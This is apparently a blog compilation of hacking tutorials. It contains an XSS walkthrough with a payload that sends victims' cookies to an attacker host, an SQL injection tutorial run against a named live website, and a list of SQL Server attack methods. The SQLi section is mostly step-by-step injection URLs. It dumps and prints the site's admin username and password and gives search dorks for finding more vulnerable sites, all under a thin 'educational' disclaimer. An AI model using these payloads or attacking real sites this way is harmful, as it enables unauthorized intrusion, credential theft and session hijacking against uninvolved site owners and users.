Once the page is accessed, the variable sent via the GET method is placed directly on the rendered page. Since the input is not marked as variable input , the user- supplied input is interpreted exactly as its metacharacters command, very similar to SQL injection. Passing “Hacking discussion” as an argument outputs the content in correct form:
http://hdhost/hello.php?name=HACKERS%20LIBRARY
now let us call site we use for XSS is called
http://www.xyz.com
At the core of a traditional XSS attack lies a vulnerable script in the vulnerable site. This script reads part of the HTTP request (usually the parameters, but sometimes also HTTP headers or path) and echoes it back to the response page, in full or in part, without first sanitizing it i.e. making sure it doesn’t contain Javascript code and/or HTML tags. Suppose, therefore, that this script is named 1.cgi, and its parameter is “name”. It can be operated this way:
GET /1.cgi?name=HACKERS%20LIBRARY HTTP/1.0
Host: www.xyz.com
And the response would be:
{HTML}
{Title}1!{/Title}
Hi HACKERS LIBRARY
{BR}
Welcome to our system

{/HTML}

Now explanation
Well, the attacker manages to lure the victim client into clicking a link the attacker supplies to him/her. This is a carefully and maliciously crafted link, which causes the web browser of the victim to access the site ( www.xyz.com ) and invoke the vulnerable script. The data to the script consists of a Javascript that accesses the cookies the client browser has for www.xyz.com . It is allowed, since the client browser “experiences” the Javascript coming from www.xyz.com , and Javascript’s security model allows scripts arriving from a particular site to access cookies belonging to that site.
Such a link looks like:
http://www.xyz.com/1.cgi?name={script}alert(document.cookie){/script}
The victim, upon clicking the link, will generate a request to www.xyz.com , as follows:
GET /1.cgi?name={script}alert(document.cookie){/script} HTTP/1.0
Host: www.xyz.com

And the vulnerable site response would be:
{HTML}
{Title}1!{/Title}
Hi {script}alert(document.cookie){/script}
{BR}
Welcome to our system

{/HTML}
The victim client’s browser would interpret this response as an HTML page containing a piece of
Javascript code. This code, when executed, is allowed to access all cookies belonging to
www.xyz.com, and therefore, it will pop-up a window at the client browser showing all client
cookies belonging to www.xyz.com. Of course, a real attack would consist of sending these cookies to the attacker. For this, the attacker may erect a web site (www.xyz.com), and use a script to receive the cookies. Instead of popping up a window, the attacker would write a code that accesses a URL at his/her own site (www.xyz.com), invoking the cookie reception script with a parameter being the stolen cookies. This way, the attacker can get the cookies from the www.attacker.com server. The malicious link would be:
http:// www.xyz.com /1.cgi?name={script}window.open(“http://www.attacker.com/collec
t.cgi?cookie=”%2Bdocument.cookie){/script}
And the response page would look like:
{HTML}
{Title}1!{/Title}
Hi
{script}window.open(“http://www.attacker.com/collect.cgi?cookie=”+document.cookie){
/script}
{BR}
Welcome to our system

{/HTML}
The browser, immediately upon loading this page, would execute the embedded Javascript and would send a request to the collect.cgi script in www.attacker.com, with the value of the cookies of www.xyz.com that the browser already has. This compromises the cookies of www.xyz.com that the client has. It allows the attacker to impersonate the victim. The privacy of the client is completely breached. It should be noted, that causing the Javascript pop-up window to emerge usually suffices to demonstrate that a site is vulnerable to a XSS attack. If Javascript’s “alert” function can be called, there’s usually no reason for the “window.open” call not to succeed. That is why most examples for XSS attacks use the alert function, which makes it very easy to detect its success.
Now Security
As a web application user, there are a few ways to protect your self from XSS attacks. The first
and most effective solution is to disable all scripting language support in your browser and email
reader. another thing is to use reasonable caution when clicking links in anonymous e-mails and dubious web pages. Additionally, as a last resort, proxy servers can help filter out malicious scripting in HTML
Web application developers and vendors should ensure that all user input is parsed and filtered properly. User input includes things stored in GET Query strings, POST data, Cookies, URLs, and in general any persistent data that are transmitted between the browser and web server. The best philosophy to follow regarding user input filtering is to deny all but a pre-selected element set of benign characters in the web input stream. This prevents developers from having to constantly predict and update all forms of malicious input in order to deny only specific characters (such as < ; ? etc.).
Once an application has evolved out of the design and development phases, it is important to periodically test for XSS vulnerabilities since application functionality is constantly changing due to upgrades, integration of third party technologies, and decentralized website authoring. Many vulnerability web application scanners are now starting to include checks for XSS, although it is unlikely that any current automated will be truly comprehensive.
By installing a third party application firewall, which intercepts CSS attacks before they reach the web server and the vulnerable scripts, and blocks them. Application firewalls can cover all input methods (including path and HTTP headers) in a generic way, regardless of the script/path from the in-house application, a third party script, or a script describing no resource at all (e.g. designed to provoke a 404 page response from the server). For each input source, the application firewall inspects the data against various HTML tag patterns and Javascript patterns, and if any match, the request is rejected and the malicious input does not arrive to the server.

References –
Cross Site Scripting Explained by Amit Klein, Sanctum Security Group
Types of xss attack by cybern00b
The Evolution of Cross-Site Scripting Attacks By David Endler
The Anatomy of Cross Site Scripting by Gavin Zuchlinski

Saturday, May 8, 2010

Ultimate method for Website Hacking a.k.a SQL injection


Welcome to the tutorial for SQL Injection. SQL Injection basically means to execute a query in the database which is connected to the website to get personal information out of it, which is not visible to a normal user. Database is most likely to be a part of the websites, which saves all the information like user names, passwords, posts, replies in it. So there is a possibility that you might put some commands or queries or requests whatever you want to call it into the database to get some hidden information out of it.

It is noticed that in the past SQL Injection have been used several times to steal the credit card information, E-mail address and passwords, because most of the users have same E-mail address and passwords into all of their E-mail accounts. So if you manage to hack one of the accounts, you may just get access to all of their accounts. SQL Injection is most likely used by the “Penetration Testers” to check if the website of their clients are vulnerable to some kind of attacks to steal the information. Here, in this article I will show you how do they do it. There are some simple terms expected out of you and one of them is that you understand the basic knowledge of the computer. This tutorial will let you know, how to start? where to stop? what to do? and if you have any further queries you can post them here and i will help you to work with it.

. . . . . . . . . . . . . . . . . . . . . . . . . . .
PLEASE REMEMBER: RxN7 take no responsibility of whatsoever damaged is made by you by this knowledge. This is just for the educational purposes so you can secure your own website.

I will divide this tutorial into some points so it can help you in a better way to understand the structure of the SQL Database which is working at the backend of the website to store, save and execute the information.

I will use a LIVE website in this tutorial, so you can try to test it on your own and believe me it really helps to develop your skills.

The website that I will use today is www[dot]rfidupdate[dot]com.

To understand what is an SQL Database, the very simple thing i can explain to you is the “website where you can register, login or create your own profile. Because it will save the data you input into your profile and will execute / display them whenever you provide the correct username or the password. So in the same way the website i mentioned above will give you a chance to be a part of it, it will update you daily about respective news.

1. How to check if the website is vulnerable to SQL Injection?
A: On most of the website i read people saying that try to add “`” at the end [without quotes], and if you get some error that means that the website is vulnerable to SQL Injection. But being an experienced guy in the penetration, i’d rather tell you that this is a TOTAL MYTH. The best way to check the site vulnerability is to
add “+order+by+6753″ at the end of the URL. Because, 97% of the websites don’t have more then 6753. columns. So by adding 6753 number, you will check if it has 6753 columns, which it apperatenly doesn’t have. So it will give you an error, and if it does that means that the WEBSITE IS VULNERABLE. It is generally noticed that a website doesn’t have more than 100 columns at the most in its database. So by entering the number 6753, you are trying to make it sure if the website gives you an error with it. IF it does that means you can proceed further. To check an SQL Injection, its mandatory that the website should be pointing it self to some specific page, i.e. “website.com/index.php?page=11″. So in this case the website is pointing it self to page Number.11 to pull up some specific information. So, to check if the website is vulnerable or not, you can try with the following URL. i.e. “website.com/index.php?page=11+order+by+6753″.

2. How would i find the vulnerable websites?
A.: Google is the best friend of Hackers, when I say this don’t assume that i am just writing it because i am supposed it. I really mean it. There is something called as “google dorks”, which are basically a command which could be put into the Google search to find out specific groups of pages.
here are some Google dorks which you may try to find out the vulnerable websites.
a. inurl:index.php?page=
b. inurl:members.php?member=
c. inurl:index.php?id=
d. inurl:articles.php?page=

This will help you to find out the websites which are connected and working with SQL Databases at the backend. Some of them might be vulnerable to SQL Injection. So you can try to put “order+by+6753″ at the end of the URL to check if its vulnerable.

Step 1 : Finding Vulnerable Page.

Lets start, as you’ll know the website that i will test today is www.RfidUpdate.com. So lets open up the website in the browser. So just a little information about website, RFID means “radio frequency identification”. So on the right hand side you will see that it gives you an opportunity to subscribe to the website. So now it should give you an idea that when you subscribe to it, there has to be a place where your E-mail address should be saved, so it has to have a database! So, now we know that the website is supported by an SQL Database at the backend. So we are on the right track.

As I have written earlier, in order to perform an SQL Injection we will have to find a page that has “something.php?id=2121″ at the end of the URL, so we will try to find such page on RfidUpdate.com. I have found a page by exploring the website a bit. The URL of the page is,

http://www.rfidupdate.com/articles/index.php?id=1563

Image 1: SQL Injection (Click to enlarge )

So now, we know it has an SQL Database and we have the apge where we can start with.

So lets try to check if the website is vulnerable to SQL Attack, we will try to add “+order+by+6753–” as i have written earlier.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+6753–

Now, you should have noticed an error, which says :
“Error 1054: Unknown column ‘6753′ in ‘order clause’”

So, It means that the database gave u a message saying “there is no such column”. So error doesn’t really make any difference, but the main thing we should notice is that the database communicated with us directly. So there is a possibility that we can exploit it.

Step 2 : Finding Number of Columns.

Now, the next thing we will try is to find the out many columns do this page have. So now, instead of “6753″, we will start from number 1 then 5 then 15, we will keep doing this unless we get some error. So, try the following url.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+1–

The webpage opened up fine, which means that the website has more then 1 column, now try number 5.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+5–

Same thing, now try 10.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+10–

Still no error, try 15.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+15–

Still no error :( , try 20.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+20--

WHOA!, We got the error, which means that the number of columns in the webpage is between 15 to 20. So lets try with number “16″ now.

http://www.rfidupdate.com/articles/index.php?id=1563+order+by+16–

YAY!, you got the error on number “16″ as well. Which means, that the website has 15 columns. So now lets move further.

Step 3 : Using “Union Select All” Command.

Now, we will try to combine all the columns and we will see what do we get, the command goes as follow:-

http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15–

Image 2: SQL Injection (Click to enlarge )

FYI:- please notice tha ti have added “-” before 1563.

Now you see some broken things in there, and now you see that the only indipendent number of column you see on the website is “7″. So apperantly that would be the base of the attack. Everything we do now, would be done with the column number “7″.

So we wil ltry to find the some more information about the DATABASE this website is using, so to do this we can replace the column number 7 with “@@version“, without quotes ofcourse. So try this now.
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13,14,15–


This is what you should see now,
“5.0.67-community”

Which means, that the website is using SQL Version > 5. Now, try following URL to move further.
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15+from%20information_schema.tables%20where%20table_Schema=database%20()–

Here, we have replaced No.7 column with “group_concat(table_name)” and we have added “from information_schema.tables where table_Schema=database ()” at the end. Which are basically the standard commands for SQL, to get the further information from the specific column.

YAY! You should have already noticed that the name of the further columns have appeared in the list and one of them is “ru_Admin”. Thats what we are looking for. Since we have the column for admin now, we will try to find out the username and password out of it. So let try following URL into the address bar.
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,group_concat(column_name),8,9,10,11,12,13,14,15+from%20information_schema.columns%20where%20table_Schema=database%20()–

The only thing we’ve changed here is the “tables” to “columns”, and you should see all the information about the admin’s tables now which should look something like following.

“ru_Admin_Username,ru_Admin_Password”

So we see, we might be able to crack the username as well as the password. In order to see the information inside the username and the password column lets put following URL:
http://www.rfidupdate.com/articles/index.php?id=-1563+union+all+select+1,2,3,4,5,6,group_concat(ru_Admin_username,0×3a,ru_Admin_password),8,9,10,11,12,13,14,15+from%20ru_Admin–

What we did is, to replace the columns names with admin_username & admin_password, and call it from ru_Admin column at the end.


VOILA! What you’re looking at right now the “admin” username and the password in following format.

username : password.

admin:admRIvuxHahkQ

FYI: Wherever you see “%20″ in the URL, that means a SPACE in the address bar.

So you have the password now, you can use it the way you want!.

So this the way to perform an SQL Injection attack. You may try your own stuffs with the google dorks i posted in the beginning. Use it the way you want, just keep in mind that if u know 80/100, there are people out there who know 90/100. So better secure your self first, and try these attacks with the permission of the site owners.

Thank you all for reading this tutorial, I am sure it helped. If there are any more questions feel free to revert back to the same post.

Enjoy Ethical hacking ;)

Top 10 Tricks to exploit SQL Server Systems

http://easydownload.ru/uploads/posts/2009-04/1240341405_518053737_8a9794389e.jpg Whether it is through manual poking and prodding or the use of security testing tools, malicious attackers employ a variety of tricks to break into SQL Server systems, both inside and outside your firewall. It stands to reason then, if the hackers are doing it, you need to carry the same attacks to test the security strength of your systems. Here are 10 hacker tricks to gain access and violate systems running SQL Server.
. . . . . . . . . . . . . . . . . . . . . . . . . . .
1. Direct connections via the Internet

These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield's Port Report shows just how many systems are sitting out there waiting to be attacked. I don't understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.

2. Vulnerability scanning

Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or the database system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assessment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.'s NGSSquirrel for SQL Server (for database-specific scanning). They're easy to use, offer the most comprehensive assessment and, in turn, provide the best results. Figure 1 shows some SQL injection vulnerabilities you may be able to uncover.

sql hacker fig1

Figure 1: Common SQL injection vulnerabilities found using WebInspect.

3. Enumerating the SQL Server Resolution Service

Running on UDP port 1434, this allows you to find hidden database instances and probe deeper into the system. Chip Andrews' SQLPing v 2.5 is a great tool to use to look for SQL Server system(s) and determine version numbers (somewhat). This works even if your SQL Server instances aren't listening on the default ports. Also, a buffer overflow can occur when an overly long request for SQL Servers is sent to the broadcast address for UDP port 1434.

4. Cracking SA passwords

Deciphering SA passwords is also used by attackers to get into SQL Server databases. Unfortunately, in many cases, no cracking is needed since no password has been assigned (Oh, logic, where art thou?!). Yet another use for the handy-dandy SQLPing tool mentioned earlier. The commercial products AppDetective from Application Security Inc. and NGSSQLCrack from NGS Software Ltd. also have this capability.

5. Direct-exploit attacks

Direct attacks using tools such as Metasploit, shown in Figure 2, and its commercial equivalents (CANVAS and CORE IMPACT) are used to exploit certain vulnerabilities found during normal vulnerability scanning. This is typically the silver-bullet hack for attackers penetrating a system and performing code injection or gaining unauthorized command-line access.



Figure 2: SQL Server vulnerability exploitable using Metasploit's MSFConsole.

6. SQL injection

SQL injection attacks are executed via front-end Web applications that don't properly validate user input. Malformed SQL queries, including SQL commands, can be inserted directly into Web URLs and return informative errors, commands being executed and more. These attacks can be carried out manually -- if you have a lot of time. Once I discover that a server has a potential SQL injection vulnerability, I prefer to perform the follow-through using an automated tool, such as SPI Dynamics' SQL Injector, shown in Figure 3.

Figure 3: SPI Dynamics' SQL Injector tool automates the SQL injection process.

7. Blind SQL injection

These attacks go about exploiting Web applications and back-end SQL Servers in the same basic fashion as standard SQL injection. The big difference is that the attacker doesn't receive feedback from the Web server in the form of returned error messages. Such an attack is even slower than standard SQL injection given the guesswork involved. You need a good tool for this situation, and that's where Absinthe, shown in Figure 4, comes in handy.


Figure 4: Absinthe tool takes the pain out of blind SQL injection testing.

8. Reverse engineering the system

The reverse engineering trick looks for software exploits, memory corruption weaknesses and so on. In this sample chapter from the excellent book Exploiting Software: How to Break Code by Greg Hoglund and Gary McGraw, you'll find a discussion about reverse engineering ploys.

9. Google hacks

Google hacks use the extraordinary power of the Google search engine to ferret out SQL Server errors -- such as "Incorrect syntax near" -- leaking from publicly accessible systems. Several Google queries are available at Johnny Long's Google Hacking Database. (Look in the sections titled Error Messages and Files containing passwords.) Hackers use Google to find passwords, vulnerabilities in Web servers, underlying operating systems, publicly available procedures and more that they can use to further compromise a SQL Server system. Combining these queries with Web site names via Google's 'site:' operator often turns up juicy info you never imagined you could unearth.

10. Perusing Web site source code

Source code can also turn up information that may lead to a SQL Server break in. Specifically, developers may store SQL Server authentication information in ASP scripts to simplify the authentication process. A manual assessment or Google could uncover this information in a split second.